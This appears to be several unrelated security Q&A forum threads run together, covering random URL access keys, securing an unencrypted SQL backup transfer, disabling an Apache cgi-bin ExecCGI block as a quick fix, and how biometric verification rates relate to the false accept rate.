You correctly saw the security it could cause with the browser history. Only you can determine if it worth it.

However, instead of some random string sent by email, which will mostly force the students to find the email upon each connection, you may ask for some information they may already know or is more easily reachable to them (last numbers of the student ID, something like the birth date, etc.).

  If you think the 1st option's better, how long should the access key be?
  I want to embed the student ID and the project ID inside it, so I was thinking about using JWTs, but they are 220 characters. Is it too much? (URLs can contain up to 2000).

If possible, I would avoid to put any information in the access key but use a random string instead. Then, on server-side, you can have a database which will associate this random access key to the information you want (student ID, etc.). By this way, given one link, it will not be possible for the students to guess other valid links.

Concerning the length, around 20 characters as you have now seems fine.

I think this also answers to your two last questions.


Is this a safe way to connect to a server I am using a software to backup my website .sql data every 3 days and it connects simply to the server logs in and downloads the .sql file to my computer. While its downloading the connection is not under SSL is it dangerous? Can someone sniff the data, cookie or username/password of the connection I have made? If I change my IP every time before I connect to the server to perform the backup will I be safe from any "stalker" eavesdropping me?
What would you recommend me to do so in order to make the connection more secure and be less vulnerable?  (SSL installation is not an option sadly.)

*My worry is always someone remotely from knowing my IP. I don't use wireless, so I don't have any wireless "enemies" to worry about.

If you have a SSH login, SCP gives you a secure way of copying after you have securely logged in.

Since the backup software and its transport method isn't identified most of what can be offered is guesswork, but if it's a commercial package, check to see if instead of FTP, you can use SFTP or SCP for file transfer. Most modern packages will support FTP, SFTP/SSH and SCP.

If you're using phpMyAdmin to do this SQL backup, then you shouldn't be connecting to it by any other means than SSL and it should be locked up behind something like cPanel for even more security.

Changing IPs is security by obscurity and a simple packet sniff defeats it.


A system upgrade is required but here a quick fix.

In /etc/apache2/sites-enabled/000-default I comment out:

   ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
   <Directory "/usr/lib/cgi-bin">
           AllowOverride None
           Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
           Order allow,deny
           Allow from all
   </Directory>

And did a apache2ctl restart. Now /cgi-bin/php is not accessible anymore. That should fix it.

Wonder why this is in default anyway. You should also check other pages in sites-enabled. Do a grep "ExecCGI" /etc/apache2/sites-enabled.


How the 'probability of verification' is inversely related to the 'false accept rate'? I was reading a document discussing biometrics and came across this statement:

  Typical finger-print verification systems employed by FBI achieve 90%
  probability of verification at 1% false accept rate but only 77%
  probability of verification at 0.01% false accept rate.

With this in mind, and seeing the relationship between the percentages, can someone explain to me how the probability of verification is inversely related to the false accept rate?

I understand understand the concept of FAR (false accept rate), and realize to calculate it you must do the following equation:

imposter scores exceeding threshold/all imposter scores

However, I just don't understand the concept of the "probability of verification" and especially the inverse relationship it has with FAR. If someone can kindly explain the two in conjunction with each other, that would be great.

Ekhmm... they're not inversely related.  They're directly related: when one increase the other increase as well:

70% | 0.01%
90% | 1%

70% < 90% and 0.01% < 1%

This is really a machine learning question.  False accept rate is a false positive.  In other words, it is the chance that a random someone will verify his fingerprint as another person.

Assuming that Bob is an authorised person whose fingerprints we have loaded into our biometric system.  Now, we can tune the parameters of our biometric sensor to check whether Bob is Bob by using his fingerprint.  If we tune the sensor to be very very picky (acceptance threshold is low), Bob will have 77% of chance of verifying that it is himself on the first try.  If now Eve tries to impersonate Bob through this very picky system she has only 0.01% chance that her fingerprints will be recognized as Bob's on her first try.

When we lower the "pickiness" of the sensor (have a bigger threshold of acceptance), Bob will be able to verify that he is himself easier: he will have a 90% chance that the sensor will conclude that he is Bob based on his fingerprints (on the first try).  On the other hand, in this less picky system, Eve has a bigger chance to impersonate Bob: On her first attempt to read her fingerprints, there is a 1% chance that the sensor will conclude that Eve's fingerprints are actually Bob's (and authorize Eve as if she was Bob).

Any machine learning system that has an acceptance threshold parameter will perform in the above fashion.  In ML you always will have:

true negatives - An impostor's fingerprints are not Bob's
true positives - Bob's fingerprints are Bob's
false negatives - Bob's fingerprints are not Bob's
false positives - An impostor fingerprints are concluded to be Bob's

The perfect ML system would give only true positives and true negatives, but it does not work like that.  There is noise and noise will require some acceptance threshold.  A sensor that would not have any acceptance threshold would only provide true negatives and false negatives.  But that would e completely useless because no one would ever be authorised to do anything.

An acceptance threshold is an amount of difference that is allowed between the fingerprints stored in the database and the ones read by the sensor (and processed by the ML system).  Making this threshold bigger increases the number of true positives and false positives (remember that without the threshold we had only true negatives and false negatives).

In the context of the article "probability of verification" is the amount of true positives, and the "false accept rate" is the amount of false positives.